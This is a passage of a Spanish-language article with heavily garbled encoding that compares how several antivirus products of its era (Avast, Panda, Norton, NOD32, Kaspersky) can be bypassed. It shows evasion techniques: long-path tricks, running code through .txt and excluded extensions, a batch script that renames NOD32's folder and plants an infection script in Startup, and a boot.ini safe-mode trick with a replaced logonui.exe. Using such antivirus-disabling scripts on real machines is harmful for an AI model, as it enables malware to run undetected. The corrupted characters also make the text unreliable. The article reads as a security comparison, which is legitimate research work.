6ig9K+ 2RW F.J.9 no detecta la ejecucin de XKJGXeird

)l acceso directo infector provoca la ejecucin del contenido v'rico en el sistema. 2fortunadamente existe una solucin mu& sencilla al problema+ obligar a 2RW a escanear cualquier fic!ero que se intente ejecutar independientemente de la extensin. M@*@ 9?1AA9@ Puesto que una imagen vale ms que mil palabras, pongamos la imagen.

6igAE+ 2RW F.J.9 no detecta en el escaneo la existencia de contenido v'rico en la carpeta C+7testCavirs

1@A1,(?&@A9? 2RW F.J.9 en modo residente, por defecto, no escanea todas las extensiones de fic!ero. )sta configuracin permite la ejecucin de contenido v'rico mediante el uso de las caracter'sticas del comando cmd.exe. )ste problema se soluciona forzando el c!equeo de todo el contenido. 2RW F.J.9 en modo escaneo no detecta contenido v'rico en rutas largas superiores a AJJ caracteres creadas mediante estructuras L.>

&&& &6 $ A<astF <G D %ersonal


M@*@ :9?&*9AB9 2vast] al igual que 2RW no se !a dejado enga%ar por formatos :;"C<#), o por P234S largos, por tanto !a tocado proceder como con 2RW, con una salvedad, aqu' el filtro es inverso. )s decir, c!equea 3<#< lo que no pertenezca a uno de estos nombres de fic!ero+ -+7P2W)6"*).S0S T.3Q3 T.*<W T.";" C+7X";#<XS73)8P7T.38P T7e2R2S3Be7:;PT.38P C+7X";#<XS7X";SQS7T.82;"6)S3 C+7X";#<XS7X";SQS7T.C23 C+7X";#<XS7X";SQS7T.P<*"C0 T7)#D.C4^

6igA9+ Configuracin por defecto de 2vast] vB.F Personal

2fortunadamente me !e dado cuenta que en 2RW !e caido en el autoenga%o, o dic!o de otra forma, tan convencido estaba de que no se pod'a ejecutar un .txt que ni tan siquiera me lo !e planteado realmente. *o (nico que de verdad !e probado en 2RW con el .txt, !a sido intentar ejecutar el cdigo de )"C25, que como sabemos no tiene un formato reconocible como Xin>AP). ,Pero qu$ pasa si !a& un formato reconocible como Xin>AP) dentro de un fic!ero con extensin 3Q3-. Pues como pod$is suponer, pasa que se ejecuta sin ma&or problema, & dado que 2vast] no considera peligrosos los fic!eros con extensin 3Q3, pues no se detiene su ejecucin. Para este caso el virus elegido es otra variante de 3*oader que s' es detectada por 2vast]

6igA9+ 2vast] vB.F permitiendo la ejecucin del virus t*oader a trav$s de un fic!ero 3Q3

Dueno, pues &a est ejecutado el virus, en un fic!ero con extensin 3Q3, ,qui$n lo iba a decir-. M@*@ 9?1AA9@ )l modo escaneo de 2vast] no se rompe en casi ninguna circunstancia. 5ealmente est programado bastante bien, !a sido capaz de detectar & eliminar un virus dentro de rutas como la siguiente+ C+7#6K9?97272727272727272727272727272727272727272727272727272727272727272727272727272727272 72727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272 72727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272 72727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272 72727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272 72727272727272727272727272727272727virus.txt )l (nico error que !e podido encontrarle es sobre carpetas de red compartidas con formato :;"C<#). )n ese caso s' falla & es incapaz de escanear el contenido. Pero desde el momento que los fic!eros son alcanzables por una ruta local, esto inclu&e carpetas de red mapeadas, no !e encontrado forma de enga%arlo. )l resultado cuando se escanean fic!eros en carpetas con formato :;"C<#) es el siguiente+

6igAA+ 2vast] vB.F no detecta el contenido v'rico en carpetas de red compartidas con formato :;"C<#)

1@A1,(?&@A9? 2vast] vB.F en modo residente, por defecto, no escanea todas las extensiones de fic!ero. )sta configuracin permite la ejecucin de contenido v'rico mediante el uso de las caracter'sticas del comando cmd.exe. )ste problema se soluciona eliminando las extensiones consideradas como seguras 2vast] vB.F en modo escaneo no detecta contenido v'rico en rutas pertenecientes a carpetas compartidas en red con nombre en formato :;"C<#).

&&& 6 $ %anda Bitanium Anti<irus 2##E


M@*@ :9?&*9AB9 )ste !a sido un antivirus que !a dado bastante trabajo !asta encontrar el fallo, no por lo complejo del mismo, sino porque se sale de cualquier tipo de razonamiento que se pudiera !acer a priori. 2 la primera nos !a cazado, & en unas cuantas ocasiones ms tambi$n.

6igAA+ Panda AEEJ detectando & deteniendo la ejecucin de )"C25

Se !a comportado correctamente con la deteccin :;"C<#) & desde formatos L.>, sin embargo, al final !a aparecido un fallo inesperado con la longitud de la ruta. Remoslo. C+7testCavirs722222222222222222222222222222222222222222222222222222222222222222 222222222222222222222222222222222222222222222222222222222222222222222222222 222222222222222222222222222222222222222222222222222222222222222222222222222 222222222222222222@ftp 9KA.9HL.FE.9 Connected to 9KA.9HL.FE.9. AAE "nd& 63P Server read&. :ser .9KA.9HL.FE.9+.none//+ m&user >>9 :ser name oNa&, need passMord. PassMord+ A>E :ser logged in, proceed. ftp@ get eicar.com AEE P<53 Command successful. 9JE 6ile status oNa&V about to open data connection. AAH Closing data connection. ftp+ HL b&tes received in E,AFSeconds E,AH^b&tesGsec. ftp@ quit AA9 Woodb&e. C+7testCavirs722222222222222222222222222222222222222222222222222222222222222222 222222222222222222222222222222222222222222222222222222222222222222222222222

222222222222222222222222222222222222222222222222222222222222222222222222222 222222222222222222@eicar.com eicar.com 2ccess denied C+73)S3C2?97222222?9@ Yue de forma muc!o ms grfica se traduce en lo siguiente+

6igAB+ Panda AEEJ permite copiar eicar.com sobre un P234 superior a AJJ caracteres

Rolviendo a !acer un esfuerzo de atencin, o quiz &a se !a&a convertido en inercia, nos podemos dar cuenta que la deteccin la !ace sobre un pat! L.>, & no sobre el P234 original, sobre el cual s' !a dejado escribir el fic!ero, cuando de forma !abitual, detecta su creacin. ,0 si nos buscamos, de nuevo, un programita en Xin>AP), que no salga a un P234 L.> cuando finalice su ejecucin-. )n este caso volvemos a !acer uso del t*oader.exe, que es correctamente detectado cuando realizamos su copia sobre C+7, sin embargo, si la !acemos sobre una ruta con ms de AJJ caracteres, el contenido v'rico puede ser copiado, & ejecutado, sin ma&or contratiempo, & sin que el antivirus muestre ninguna se%al de alarma. #e ejemplo usamos el siguiente P234 de AJK caracteres, que es el tama%o mximo que !e conseguido para una ruta en formato largo+ C:\test-avirs\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\tloader.exe

0 el resultado de la ejecucin es el siguiente+

6igAJ+ Panda AEEJ permitiendo la ejecucin de t*oader .XinKJGXeird/ sobre un P234 superior a AJJ caracteres

M@*@ 9?1AA9@ )l modo de escaneo de fic!eros de Panda 3itanium 2ntivirus AEEJ no tiene problemas para acceder a rutas :;"C<#). )l problema lo presenta en cualquier intento de escaneo en rutas por encima de los AJJ caracteres, bien sean creadas expandiendo el P234 siguiendo el formato L.>, o bien sea directamente como se !a descrito en el apartado anterior, sobrepasando el modo residente, con un P234 de AJK b&tes permitido dentro del formato de nombres largos de Xin>A. Como ejemplo !emos elegido este (ltimo punto, simplemente por ser una caracter'stica no encontrada en otros antivirus, & sobre todo, porque con ella !emos visto de nuevo que lo de los AJJ caracteres de longitud para los nombres de fic!eros en Xin>A es ms de palo que pinoc!o. Pues nada, otra pantalla ms.

6igAH+ Panda AEEJ no detecta la existencia de X>AGXeird en una ruta superior a AJJ caracteres

1@A1,(?&@A9? Panda 3itanium 2ntivirus AEEJ en modo residente, permite la ejecucin de contenido v'rico en rutas de nombres largos con extensin por encima de los AJJ caracteres. Panda 3itanium 2ntivirus AEEJ en modo escaneo, no detecta contenido v'rico en rutas por encima de los AJJ caracteres.

&&& 6& $ %anda Anti<irus 2##D


M@*@ :9?&*9AB9 )l !ermano ma&or no se !a roto igual que el AEEJ, lo que dista muc!o de decir que no se !a&a roto. *o que s' es cierto es que al principio parec'a que no iba a caer por sistema de fic!eros, eso lo dejamos para el bonus tracN. 2s' que !a sido cuestin de ir directamente al m$todo .D"*D2< , que como !emos visto se muestra altamente efectivo. 2dems en este caso que nos ocupa, con un a%adido+ alguien !a olvidado poner el c!ecNlist escanear todos los fic!eros , & no se puede a%adir una extesin tipo T , lo cual !ace que no exista solucin rpida al problema.

6igAF+ Configuracin de los arc!ivos a analizar en Panda AEEF

6igAL+ Panda AEEF permite la ejecucin de X>AGXeird dentro de extensiones no analizadas

0 como bonus tracN, un desbordamiento de buffer en el mdulo residente.

6igAK+ #esbordamiento de buffer en Panda AEEF

:na vez el sistema vuelve a estabilizarse, lo cual cuesta bastante, pues nos acabamos de cepillar el servicio del modo residente, podemos ejecutar lo que gustemos sin ma&or problema.

6ig>E+ Panda AEEF permitiendo la ejecucin de )"C25 tras el desbordamiento de buffer

)n conclusin, otro problema ms con la deteccin por extensin & un desbordamiento de buffer. Con esto acabamos con Panda, &a que el modo escaneo de la versin AEEF no aporta nada significativo sobre el modo escaneo de la versin AEEJ.

&&& 6&& $ Aorton Anti<irus 2##D


M@*@ :9?&*9AB9 8s de lo mismo, as' que sigamos con el lema de que una imagen vale ms que mil palabras+

6ig>9+ Configuracin de exclusiones para ;orton AEEF

)n fin, como los se%ores de ;orton no quieren c!equear, por ejemplo, fic!eros #DQ, lo tenemos fcil+

6ig>9+ )jecucin de Xin>AGXeird contenido en un fic!ero #DQ con ;orton AEEF

M@*@ 9?1AA9@ #e momento, & !asta futuras revisiones de este art'culo, no !e podido encontrar una idea feliz que rompa el escaneo de ;orton AEEF. 1@A1,(?&@A9? ;orton 2ntivirus AEEF en modo residente, por defecto, no escanea todas las extensiones de fic!ero. )sta configuracin permite la ejecucin de contenido v'rico mediante el uso de las caracter'sticas del comando cmd.exe. )ste problema se soluciona eliminando las extensiones consideradas como seguras

&&& 6&&& $ Aod32 <2 E


M@*@ :9?&*9AB9 )n el caso de ;<#>A no !a funcionado, ni de lejos, nada de lo visto !asta aqu'. 4a respondido correctamente a rutas :;"C<#), a rutas largas, !a c!equeado cualquier tipo de extensin que !a&a intentado ejecutar, & !a detectado cualquier intento de ejecucin por mu& disparatado que !a&a sido el truco para enga%arlo. Pues nada, nos ponemos de nuevo el gorro de pensar, & ,qu$ es lo que se puede !acer-. #esde mi punto de vista si ;<#>A no nos deja !ace nada, lo ms sencillo es eliminar ;<#>A & asunto arreglado, ,no-. Pues ale, para ello me !a servido el siguiente .bat, que la verdad es poco elegante, pero mira, !ace su papel+ C+7 cd 7 mNdir nodCfaNe cd 7Program 6iles7)S)3 rename T C+7nodCfaNe cop& 7742X^";W7infect7execCviri.bat C+7#ocuments and Settings72ll :sers7Start 8enu7Startup s!utdoMn fr ft 9E ff fc ;<#>A 28<; failure. Please, reinstall 0 la verdad es que se me estaba quedando mu& mono+ primero mover el contenido de la carpeta de )S)3 en la que est ;<#>A, luego copiar el .bat que !aga la infeccin & luego simular que el sistema !a tenido un fallo. 0 o&e, en ello estaba, cuando & como siempre, el destino viene a sorprender. ,Para qu$ !ace falta quitar el servicio-. gPara nada].

6ig>A+ Xin>AGXeird ejecutandose desde el Start:p antes que ;<#>A

)ste es uno de esos fallos que no te esperas, & es que visto lo visto, parece que 28<; no monitoriza !asta que ;<#>A completa su carga. )sto, en un sistema con autologin sobre una cuenta, produce que los programas del Start:p puedan arrancar antes que ;<#>A, provocando lo que se ve en la imagen. )n sistemas con pantalla de login, si el login se produce pasado un tiempo , s', tal cual suena, ;<#>A inicia antes que este softMare. Por tanto parece que se produce una condicin de carrera, entre ;<#>A & el softMare del Startup , donde en funcin de parmetros externos, se puede

conseguir ejecutar contenido v'rico, antes que ;<#>A arranque el proceso de monitorizacin. Como prueba por !acer quedar'a ver cmo se comporta con una tarea programada en tasNmgr.exe al iniciar el equipo . Pero bueno, por si acaso esto falla, siempre nos queda quitar el servicio con el script de arriba, & ejecutar sin ma&or problema.

6ig>>+ Script deteniendo la ejecucin de ;<#>A al reinicio del sistema

6ig>B+ Xin>AGXeird ejecutandose tras la desactivacin de ;<#>A

M@*@ 9?1AA9@ 2dems de no poder escanear en P234S por encima de los AJJ caracteres creados a partir de rutas L.>, presenta una caracter'stica adicional en el scan bajo demanda+

6ig>J+ #esbordamiento de buffer en el scaneo manual de ;<#>A

2dems la existencia de este problema !ace imposible el escaneo del disco si existe una ruta que provoque un desbordamiento de buffer. 1@A1,(?&@A9?

;<#>A A.J en modo residente, presenta una condicin de carrera respecto a los programas lanzados por el Start:p que puede llevar a la ejecucin de contenido v'rico, no verificado por ;<#>A. 2dicionalmente se podr'a presentar un problema con las tareas planificadas. ;<#>A A.J en modo residente, permite la modificacin de sus fic!eros de arranque, permitiendo as' la desactivacin del servicio & la posterior ejecucin de contenido v'rico. ;<#>A A.J en modo escaneo, no detecta rutas por encima de los AJJ caracteres, creadas a partir de extensiones de ruta mediante el formato L.> ;<#>A A.J en modo escaneo presenta un desbordamiento de buffer en el escaneo manual de determinadas carpetas. 2s' mismo le es imposible realizar un escaneo programado sobre unidades afectadas por este problema.

&&& &H $ 5oneAlarm Anti$6irus y Iaspersky <J # .


M@*@ :9?&*9AB9 Por (ltimo cuando todo parec'a acabado !an llegado estos dos antivirus, & se !an convertido en una aut$ntica pesadilla. #etectan ejecucin sobre :;"C<#) & sobre rutas largas. #etectan por contenido el tipo de fic!ero & no por la extensin. 2dems el servicio & los fic!eros asociados se autoprotegen+ no se puede parar, no se puede renombrar, no se puede matar, no se puede borrar, etc. Ramos, que su servicio est mu& bien !ec!o, & mientras est$ activo poco se puede !acer. *a solucin, como no podr'a ser otra, es que el servicio debe dejar de estar activo. ,Cmo-. 2 mi se me !a ocurrido la siguiente forma+ @ t&pe C+7boot.ini aboot loaderh timeoutU>E defaultUmulti.E/disN.E/rdisN.E/partition.9/7X";#<XS aoperating s&stemsh multi.E/disN.E/rdisN.E/partition.9/7X";#<XSUZ8icrosoft XindoMs QP ProfessionalZ Gfastdetect /?AF9B@@B:A9BW@:I @ cop& 7742X^";W7logon7*ogon5ep.exe C+7XindoMs7S&stem>A7logonui.exe @ s!utdoMn fr ft E Dsicamente, la idea es in!abilitar el servicio. ,)l modo a prueba de fallos .safeboot/ carga servicios adicionales como son antivirus-. Sabemos que no. Por tanto, si forzamos el arranque a prueba de fallos desde el boot.ini 1 adis al antivirus. #e todas formas, para !acerlo realmente bien !abr'a que trabajarse ms el *ogon5ep.exe, pero bueno, como idea, es lo que !a&+

6ig>H+ )jecucin de contenido v'rico en modo a prueba de fallos tras el reemplazo de logonui.exe

Como (ltima an$cdota, ^aspersN& permite la escritura en el directorio que autoprotege a trav$s del fic!ero avp.exe cuando escribe su configuracin a disco. C+7Program 6iles7^aspersN& *ab7^aspersN& 2ntiCRirus H.E@ for _i in .T/ do avp.com )QP<53 rtp _i )l resultado es que muc!os de los fic!eros protegidos por ^avH se pueden sobrescribir, tantos como los siguientes+ EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE 6ileSession.ppl 63PSession.ppl WetS&stem"nfo.dll 433PSession.ppl "nflate.ppl NavHE.bav Ne&filedl.dll Nl.url Nlavsrc!.ppl Nlavstrm.dll Nlscav.dll *oadBHSt.dll maildisp.ppl 8ail8sg.ppl 82P")#^.dll mcou.dll mdb.ppl 8#82P.ppl mNavio.ppl msoe.ppl ;etSession.ppl ntlm.ppl offguard.dll passdmap.ppl Product"nfo.ppl prseqio.ppl 5eg"nstaller.ppl rescuecd.zip resip.ppl scieplugin.dll s!ellex.dll

;o obstante, parece que no afecta muc!o a la ejecucin del motor de ^aspersN&, aunque s' a alguna otra funcionalidad como la de anlisis de red. Para finalizar este punto, admitir que esta (ltima forma de ejecutar contenido v'rico no es elegante, & est puesta como mera demostracin de concepto . Sin embargo, a pesar de su falta de elegancia, muestra como si los antivirus deben protegernos de la ejecucin de contenido v'rico, la modificacin de un fic!ero como boot.ini no deber'a permitirse.

&6 1onclusiones) Kue nos <amos


9 mes de trabajo, 9E antivirus analizados & unas cuantas risas despu$s va siendo !ora de cerrar estas pginas & sacar unas conclusiones. ;o s$ si sern acertadas, esperemos que s'. *a primera creo que es obvia+ entre un usuario & el fiasco informtico la distancia es un doble clicN. ;ing(n antivirus protege al usuario de su negligencia en el uso de los sistemas de informacin. Por otra parte, existen productos, de cierto prestigio, cu&a capacidad anlisis & deteccin dista muc!o de ser ptima, presentando numerosos fallos motivados por una codificacin errnea de la aplicacin tanto a nivel servicio, como a nivel usuario, que permiten su anulacin con relativa sencillez. 2s' mismo existe una falta de alineacin entre la realidad & el dise%o de los antivirus . Como se !a visto estos productos estn dise%ados para satisfacer el funcionamiento en un entorno amigable , pero fracasan cuando el escenario se torna menos amistoso & realmente alguien se propone ejecutar contenido v'rico. Suposiciones como que la longitud de un pat! es Q, o que las rutas siempre pueden ser L.>, o que un fic!ero 3Q3 no puede ser ejecutado, no sirven para desarrollar aplicaciones que pretenden defender al usuario de contenido malvado & malintencionado . Por (ltimo creo se demuestra suficientemente como con sencillos procedimientos, unos ms elegantes & otros menos, & sobre todo, sin necesidad de sofisticados m$todos, cualquiera puede burlar los supuestos mecanismos de proteccin & garant'as de seguridad que ofrecen estos productos. 0 poco ms 1 espero que el que !a&a llegado !asta aqu' se !a&a divertido, & !a&a obtenido algo productivo de todo ello. 8urcia, AJ de )nero de AEEF

6 $ Babla comparati<a
B91A&1A? 9.C 5utas :nicode A.C )xtensin L.> >.C Pat! de AHE b&tes. B.C )jecucin de contenido en fic!eros no ejecutables J.C Supresin del servicio residente H.C Condiciones de carrera en el arranque F.C "nicio en modo a prueba de fallos :;"C<#) BitDefender 8 BitDefender 10 AVG 7.5.1 Avast! .7 !anda "005 !anda "007 #$rt$n "007 #$d%" ".5 &$neA'ar( ).5 *as+ers,- ) L.> AHEb&tes

,eyenda


;<C)Q)C

V.'nera/'e #$ Verifi0ad$ #$ v.'nera/'e

Supresin

5aceCCond

Safeboot

6& A!radecimientos
2l mes de diciembre que con sus festividades !a permitido que se escriba este documento. 2 los que !an puesto palabras & la m(sica con la que descansar en los ratos que escribir aburr'a. 2 la gente que !a participado en ma&or o menor medida en la realizacin de este art'culo & !an aguantado la paliza que !e dado durante su desarrollo, en especial a 2cidC^rs & 8adjEN)r que aguantan todas mis desbarradas mentales de forma estoica e incluso se prestan a ser coba&as de pruebas c!orras. 0 por (ltimo a todos los que !ab$is le'do estas BE pginas, gracias por vuestro inter$s.

6& Aota le!ales


3oda la informacin contenida en este documento tiene carcter didctico & divulgativo. )l autor no se responsabiliza del uso que terceros puedan dar a lo expuesto, ni de ning(n da%o o perjuicio que con ellos se pueda ocasionar directa o indirectamente. 3odos los nombres de las sociedades & productos aqu' presentados o mencionados, as' como sus respectivos logotipos, son marcas registradas de sus respectivos titulares. Cop&rig!t i AEEF ^ernelpaniN *abs. jste material puede ser distribuido (nicamente bajo los terminos de la licencia <pen Publication *icense v9.E o posterior. *a distribucin de versiones modificadas de este documento queda pro!ibida sin el permiso del propietario del cop&rigt!. *a distribucin de este trabajo, o derivados de $l, en formato papel est pro!ibido a menos que se obtenga permiso del titular del Cop&rig!t.

Potrebbero piacerti anche